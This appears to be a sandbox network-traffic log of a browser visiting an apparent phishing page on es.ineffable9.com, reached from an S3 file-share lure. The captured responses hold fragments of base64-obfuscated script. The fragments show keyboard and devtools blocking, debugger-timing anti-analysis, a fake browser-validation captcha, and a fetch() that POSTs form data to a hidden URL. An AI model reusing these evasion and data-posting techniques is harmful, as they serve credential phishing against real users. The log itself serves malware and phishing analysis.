2024-12-05 21:16:15 UTC	877	IN	Data Raw: 2f 2a 20 68 74 74 70 73 3a 2f 2f 68 63 61 70 74 63 68 61 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 73 6f 6c 76 65 28 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 72 65 6a 65 63 74 28 6e 29 7d 29 29 7d 29 Data Ascii: /* https://hcaptcha.com/license */!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n)}))})
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 65 64 69 61 74 65 3a 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 61 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 68 69 73 2e 5f 73 Data Ascii: ediate:null;function i(e){return Boolean(e&&"undefined"!=typeof e.length)}function o(){}function a(e){if(!(this instanceof a))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new TypeError("not a function");this._s
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 2c 74 29 7b 76 61 72 20 6e 3d 21 31 3b 74 72 79 7b 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 63 28 74 2c 65 29 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 7c 7c 28 6e 3d 21 30 2c 6c 28 74 2c 65 29 29 7d 29 29 7d 63 61 74 63 68 28 72 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 3b 6e 3d 21 30 2c 6c 28 74 2c 72 29 7d 7d 61 2e 70 72 6f 74 6f 74 79 70 65 5b 22 63 61 74 63 68 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 6e 75 6c 6c 2c 65 29 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 6e 65 77 20 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 6f 29 3b 72 65 74 75 72 6e 20 73 28 74 68 69 73 2c 6e 65 77 Data Ascii: ,t){var n=!1;try{e((function(e){n\|\|(n=!0,c(t,e))}),(function(e){n\|\|(n=!0,l(t,e))}))}catch(r){if(n)return;n=!0,l(t,r)}}a.prototype["catch"]=function(e){return this.then(null,e)},a.prototype.then=function(e,t){var n=new this.constructor(o);return s(this,new
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 75 6e 61 62 6c 65 20 74 6f 20 6c 6f 63 61 74 65 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 7d 28 29 3b 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 74 3c 3d 65 26 26 65 3c 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 29 7b 69 66 28 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 7b 7d 3b 69 66 28 65 3d 3d 3d 4f 62 6a 65 63 74 28 65 29 29 72 65 74 75 72 6e 20 65 3b 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 6f 75 6c 64 20 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 64 69 63 74 69 6f 6e 61 72 Data Ascii: if("undefined"!=typeof global)return global;throw new Error("unable to locate global object")}();function p(e,t,n){return t<=e&&e<=n}function m(e){if(e===undefined)return{};if(e===Object(e))return e;throw TypeError("Could not convert argument to dictionar
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 74 66 2d 38 22 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 65 2c 74 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 29 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6c 6c 65 64 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 2e 20 44 69 64 20 79 6f 75 20 66 6f 72 67 65 74 20 27 6e 65 77 27 3f 22 29 3b 65 3d 65 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 53 74 72 69 6e 67 28 65 29 3a 53 2c 74 3d 6d 28 74 29 2c 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 67 6e 6f 72 65 42 4f 4d 3d 21 31 2c 74 68 69 73 2e 5f 42 4f 4d 73 65 65 6e 3d 21 31 2c 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 3d 22 72 65 70 6c 61 63 65 6d 65 6e 74 22 2c 74 68 69 73 2e Data Ascii: tf-8";function O(e,t){if(!(this instanceof O))throw TypeError("Called as a function. Did you forget 'new'?");e=e!==undefined?String(e):S,t=m(t),this._encoding=null,this._decoder=null,this._ignoreBOM=!1,this._BOMseen=!1,this._error_mode="replacement",this.
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 2c 73 29 7b 69 66 28 73 3d 3d 3d 79 26 26 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 3d 30 2c 62 28 74 29 3b 69 66 28 73 3d 3d 3d 79 29 72 65 74 75 72 6e 20 77 3b 69 66 28 30 3d 3d 3d 69 29 7b 69 66 28 70 28 73 2c 30 2c 31 32 37 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 70 28 73 2c 31 39 34 2c 32 32 33 29 29 69 3d 31 2c 6e 3d 33 31 26 73 3b 65 6c 73 65 20 69 66 28 70 28 73 2c 32 32 34 2c 32 33 39 29 29 32 32 34 3d 3d 3d 73 26 26 28 6f 3d 31 36 30 29 2c 32 33 37 3d 3d 3d 73 26 26 28 61 3d 31 35 39 29 2c 69 3d 32 2c 6e 3d 31 35 26 73 3b 65 6c 73 65 7b 69 66 28 21 70 28 73 2c 32 34 30 2c 32 34 34 29 29 72 65 74 75 72 6e 20 62 28 74 29 3b 32 34 30 3d 3d 3d 73 26 26 28 6f 3d 31 34 34 29 2c 32 34 34 3d 3d 3d 73 26 26 28 61 3d 31 34 33 29 2c 69 3d 33 2c 6e 3d 37 Data Ascii: ,s){if(s===y&&0!==i)return i=0,b(t);if(s===y)return w;if(0===i){if(p(s,0,127))return s;if(p(s,194,223))i=1,n=31&s;else if(p(s,224,239))224===s&&(o=160),237===s&&(a=159),i=2,n=15&s;else{if(!p(s,240,244))return b(t);240===s&&(o=144),244===s&&(a=143),i=3,n=7
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 72 28 76 61 72 20 72 2c 69 3d 6e 65 77 20 76 28 6e 29 2c 6f 3d 5b 5d 3b 3b 29 7b 76 61 72 20 61 3d 69 2e 72 65 61 64 28 29 3b 69 66 28 61 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 61 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 72 29 3f 6f 2e 70 75 73 68 2e 61 70 70 6c 79 28 6f 2c 72 29 3a 6f 2e 70 75 73 68 28 72 29 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 64 6f 7b 69 66 28 28 72 3d 74 68 69 73 2e 5f 64 65 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 69 2c 69 2e 72 65 61 64 28 29 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 6e 75 6c 6c 21 3d 3d 72 26 26 28 41 72 72 61 79 2e 69 73 Data Ascii: r(var r,i=new v(n),o=[];;){var a=i.read();if(a===y)break;if((r=this._decoder.handler(i,a))===w)break;null!==r&&(Array.isArray(r)?o.push.apply(o,r):o.push(r))}if(!this._do_not_flush){do{if((r=this._decoder.handler(i,i.read()))===w)break;null!==r&&(Array.is
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 75 73 68 28 36 35 35 33 36 2b 28 73 3c 3c 31 30 29 2b 63 29 2c 72 2b 3d 31 7d 65 6c 73 65 20 69 2e 70 75 73 68 28 36 35 35 33 33 29 7d 72 2b 3d 31 7d 72 65 74 75 72 6e 20 69 7d 28 65 29 29 2c 69 3d 5b 5d 3b 3b 29 7b 76 61 72 20 6f 3d 72 2e 72 65 61 64 28 29 3b 69 66 28 6f 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 72 2c 6f 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 69 2e 70 75 73 68 2e 61 70 70 6c 79 28 69 2c 6e 29 3a 69 2e 70 75 73 68 28 6e 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 66 6f 72 28 3b 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 72 2c 72 2e 72 65 61 64 28 29 Data Ascii: ush(65536+(s<<10)+c),r+=1}else i.push(65533)}r+=1}return i}(e)),i=[];;){var o=r.read();if(o===y)break;if((n=this._encoder.handler(r,o))===w)break;Array.isArray(n)?i.push.apply(i,n):i.push(n)}if(!this._do_not_flush){for(;(n=this._encoder.handler(r,r.read()
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 3a 35 31 32 2c 22 53 48 41 2d 33 38 34 22 3a 31 30 32 34 2c 22 53 48 41 2d 35 31 32 22 3a 31 30 32 34 7d 5b 6c 2e 68 61 73 68 2e 6e 61 6d 65 5d 2c 6e 2e 69 6d 70 6f 72 74 4b 65 79 28 22 72 61 77 22 2c 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 6c 2e 6c 65 6e 67 74 68 2b 37 3e 3e 33 29 29 2c 6c 2c 75 2c 68 29 3b 69 66 28 73 26 26 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3d 3d 3d 65 26 26 22 52 53 41 53 53 41 2d 50 4b 43 53 31 2d 76 31 5f 35 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 28 21 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 7c 7c 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 3e 3d 32 30 34 38 29 29 72 65 74 75 72 6e 28 69 3d 6d 28 69 29 29 2e 6e 61 6d 65 3d 22 52 53 41 45 53 2d 50 4b 43 53 31 2d 76 31 Data Ascii: :512,"SHA-384":1024,"SHA-512":1024}[l.hash.name],n.importKey("raw",t.getRandomValues(new Uint8Array(l.length+7>>3)),l,u,h);if(s&&"generateKey"===e&&"RSASSA-PKCS1-v1_5"===l.name&&(!l.modulusLength\|\|l.modulusLength>=2048))return(i=m(i)).name="RSAES-PKCS1-v1
2024-12-05 21:16:15 UTC	1369	IN	Data Raw: 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 29 2c 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 7c 7c 28 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 29 29 2c 65 3d 65 2e 70 75 62 6c 69 63 4b 65 79 26 26 65 2e 70 72 69 76 61 74 65 4b 65 79 3f 7b 70 75 62 6c 69 63 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 75 62 6c 69 63 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 45 29 29 2c 70 72 69 76 61 74 65 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 72 69 76 61 74 65 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 43 29 29 7d 3a 6e 65 77 20 78 28 65 2c 6c 2c 75 2c 68 29 7d 29 29 7d 7d 29 29 2c 5b Data Ascii: \|\|e).algorithm.modulusLength),l.publicExponent\|\|(l.publicExponent=(e.publicKey\|\|e).algorithm.publicExponent)),e=e.publicKey&&e.privateKey?{publicKey:new x(e.publicKey,l,u,h.filter(E)),privateKey:new x(e.privateKey,l,u,h.filter(C))}:new x(e,l,u,h)}))}})),[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49756	104.21.43.181	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:22 UTC	763	OUT	GET /7GbZu6Idv_m2at7xgNmWkk/ HTTP/1.1 Host: es.ineffable9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:23 UTC	1221	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:16:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=399ImT%2BYdHR49tNFPSGh8HXzSTvMbyzVOT3s7Ky4hhZUwo9eo5gB6tXux%2BvH62ysdyEXwM%2BfJvdZ%2FluqASB36sbFnBJKoBAY75bg34%2FgfTvWz4X5pXkdtwOv1NbcFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=613&min_rtt=613&rtt_var=231&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1654&delivery_rate=4693679&cwnd=251&unsent_bytes=0&cid=590ab2827d2ce2d9&ts=156&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InBWVHU0UzY2dzM5SzB5Wm9nKzdhU2c9PSIsInZhbHVlIjoiaWFoaVFUbjRwV0FyZVRuSEhiMWJhWU9kNjg0Z2VkN0VVQ3E1M25YVXN5NTFXQUpVQ0tkNzV4NTFBQnB1M3F6ek5HUUY0YkVEKzNaTkxaUm41Z3dmWWxPdnVHVUczWVJjYjJ3VzFabTRnZXpRR08rNUFJRDd2dHdhNmhYZSt1V0YiLCJtYWMiOiI1MjAyNGU2MTliNGViZmRhZDhlMTA5ZDY3OWRmMDIyZmEyMTQ1MjViYjY4M2ViYzYwODJiYWMxNzI0MDQ1M2E2IiwidGFnIjoiIn0%3D; expires=Thu, 05-Dec-2024 23:16:22 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-05 21:16:23 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 5a 4c 4b 30 68 69 4f 56 4e 57 63 6c 5a 71 62 44 52 48 4d 47 45 79 53 33 4a 78 54 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 7a 63 78 53 46 70 75 56 7a 64 57 51 6e 64 4d 59 33 59 7a 4f 48 46 68 61 33 68 57 64 47 49 30 64 45 35 34 57 57 35 72 54 6c 6c 34 53 31 5a 6c 56 46 42 6e 54 31 52 35 5a 44 64 61 4e 56 4a 49 55 57 46 49 52 55 31 4c 62 79 39 72 56 6b 70 44 64 6c 5a 34 53 6d 74 31 61 57 73 7a 4d 32 70 6d 56 6a 6c 71 64 31 64 74 61 48 4a 53 54 6e 42 57 51 57 56 78 53 44 56 4b 51 54 68 49 51 6d 46 4f 63 32 49 31 55 57 6c 72 62 45 6c 78 63 56 51 7a 4d 33 49 31 61 46 56 36 64 54 68 6a 65 55 70 6e 52 56 5a 6b 4d 57 31 73 4e 45 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InZLK0hiOVNWclZqbDRHMGEyS3JxTFE9PSIsInZhbHVlIjoiYzcxSFpuVzdWQndMY3YzOHFha3hWdGI0dE54WW5rTll4S1ZlVFBnT1R5ZDdaNVJIUWFIRU1Lby9rVkpDdlZ4Smt1aWszM2pmVjlqd1dtaHJSTnBWQWVxSDVKQThIQmFOc2I1UWlrbElxcVQzM3I1aFV6dThjeUpnRVZkMW1sNEU
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 34 64 32 39 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 77 61 6c 6b 69 6e 67 20 66 72 6f 6d 20 66 61 69 6c 75 72 65 20 74 6f 20 66 61 69 6c 75 72 65 20 77 69 74 68 20 6e 6f 20 6c 6f 73 73 20 6f 66 20 65 6e 74 68 75 73 69 61 73 6d 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 77 68 65 72 65 20 70 72 65 70 61 72 61 74 69 6f 6e 20 61 6e 64 20 6f 70 70 6f 72 74 75 6e 69 74 79 20 6d 65 65 74 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6c 63 79 35 70 62 6d 56 6d 5a 6d 46 69 62 47 55 35 4c 6d 4e 76 62 53 38 33 52 32 4a 61 64 54 5a 4a 5a 48 5a 66 62 54 4a 68 64 44 64 34 5a 30 35 74 56 32 74 72 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d Data Ascii: 4d29... Success is walking from failure to failure with no loss of enthusiasm. -->... Success is where preparation and opportunity meet. --><script>if(atob("aHR0cHM6Ly9lcy5pbmVmZmFibGU5LmNvbS83R2JadTZJZHZfbTJhdDd4Z05tV2trLw==") == "nomatch"){
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 5a 57 5a 59 53 6d 5a 46 54 48 6c 51 54 69 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 32 56 6d 57 45 70 6d 52 55 78 35 55 45 34 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 33 52 76 63 44 6f 67 4d 54 41 77 63 48 67 37 4c 79 70 33 61 57 52 30 61 44 6f 67 4d 54 41 77 4a 54 73 71 4c 33 42 68 5a 47 52 70 62 6d 63 74 63 6d 6c 6e 61 48 51 36 49 48 5a 68 63 69 67 74 4c 57 4a 7a 4c 57 64 31 64 48 52 6c 63 69 31 34 4c 43 41 75 4e 7a 56 79 5a 57 30 70 4f 33 42 68 5a 47 52 70 62 Data Ascii: 1zaXplOjEuNXJlbTt9DQp9DQojZWZYSmZFTHlQTiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2VmWEpmRUx5UE4uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTAwcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpb
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 6e 61 32 56 35 5a 47 39 33 62 69 63 73 49 47 5a 31 62 6d 4e 30 61 57 39 75 4b 47 56 32 5a 57 35 30 4b 53 42 37 44 51 6f 67 49 43 41 67 61 57 59 67 4b 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 45 79 4d 79 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6c 64 6d 56 75 64 43 35 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 67 70 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 5a 6d 46 73 63 32 55 37 44 51 6f 67 49 43 41 67 66 51 30 4b 44 51 6f 67 49 43 41 67 61 57 59 67 4b 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 34 4e 53 6b 67 66 48 77 4e 43 69 Data Ascii: na2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCi
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 64 57 64 6c 53 45 4e 70 52 57 56 30 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 52 6c 59 6e 56 6e 5a 32 56 79 4f 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 6a 62 32 35 7a 64 43 42 55 51 30 6c 68 5a 30 52 70 55 30 4a 79 49 44 30 67 63 47 56 79 5a 6d 39 79 62 57 46 75 59 32 55 75 62 6d 39 33 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 49 43 68 55 51 30 6c 68 5a 30 52 70 55 30 4a 79 49 43 30 67 55 33 56 6e 5a 55 68 44 61 55 56 6c 64 43 41 2b 49 48 56 73 63 55 78 51 63 6b 74 61 55 46 51 67 4a 69 59 67 49 58 70 44 56 32 4e 73 56 55 5a 72 56 56 45 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 48 70 44 56 32 4e 73 56 55 5a 72 56 56 45 67 50 53 42 Data Ascii: dWdlSENpRWV0ID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGRlYnVnZ2VyOw0KICAgICAgICBjb25zdCBUQ0lhZ0RpU0JyID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAgICAgIGlmIChUQ0lhZ0RpU0JyIC0gU3VnZUhDaUVldCA+IHVscUxQcktaUFQgJiYgIXpDV2NsVUZrVVEpIHsNCiAgICAgICAgICAgIHpDV2NsVUZrVVEgPSB
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 53 4a 69 62 48 52 6b 64 57 45 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 31 59 53 49 67 64 6d 46 73 64 57 55 39 49 6c 56 75 61 32 35 76 64 32 34 69 50 67 30 4b 50 47 6c 75 63 48 56 30 49 48 52 35 63 47 55 39 49 6d 68 70 5a 47 52 6c 62 69 49 67 61 57 51 39 49 6d 4a 73 64 47 52 6b 59 58 52 68 49 69 42 75 59 57 31 6c 50 53 4a 69 62 48 52 6b 5a 47 46 30 59 53 49 67 64 6d 46 73 64 57 55 39 49 69 49 2b 44 51 6f 38 4c 32 5a 76 63 6d 30 2b 44 51 6f 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 69 42 70 5a 44 30 69 64 56 4e 75 59 30 31 30 64 58 5a 31 56 79 49 2b 44 51 70 57 59 57 78 70 5a 47 46 30 61 57 35 6e 49 48 6c 76 64 58 49 67 59 6e 4a 76 64 33 4e 6c 63 69 42 30 62 79 42 7a Data Ascii: SJibHRkdWEiIG5hbWU9ImJsdGR1YSIgdmFsdWU9IlVua25vd24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImJsdGRkYXRhIiBuYW1lPSJibHRkZGF0YSIgdmFsdWU9IiI+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9InRleHQtY2VudGVyIiBpZD0idVNuY010dXZ1VyI+DQpWYWxpZGF0aW5nIHlvdXIgYnJvd3NlciB0byBz
2024-12-05 21:16:23 UTC	1369	IN	Data Raw: 30 4b 49 43 41 67 49 47 5a 6c 64 47 4e 6f 4b 48 70 48 59 58 6c 47 59 33 70 58 57 58 4d 73 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 62 57 56 30 61 47 39 6b 4f 69 41 69 55 45 39 54 56 43 49 73 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4a 76 5a 48 6b 36 49 47 35 6c 64 79 42 47 62 33 4a 74 52 47 46 30 59 53 68 61 61 31 42 74 59 33 56 57 62 57 64 4c 4b 51 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 63 6d 56 7a 63 47 39 75 63 32 55 67 50 54 34 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 79 5a 58 52 31 63 6d 34 67 63 6d 56 7a 63 47 39 75 63 32 55 75 61 6e 4e 76 62 69 67 70 4f 77 30 4b 49 43 41 67 49 48 30 70 4c 6e 52 6f 5a 57 34 6f 5a 47 46 30 59 53 41 39 50 69 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 6c 6d 4b 47 52 68 64 47 46 62 4a Data Ascii: 0KICAgIGZldGNoKHpHYXlGY3pXWXMsIHsNCiAgICAgICAgbWV0aG9kOiAiUE9TVCIsDQogICAgICAgIGJvZHk6IG5ldyBGb3JtRGF0YShaa1BtY3VWbWdLKQ0KICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICByZXR1cm4gcmVzcG9uc2UuanNvbigpOw0KICAgIH0pLnRoZW4oZGF0YSA9PiB7DQogICAgICAgIGlmKGRhdGFbJ
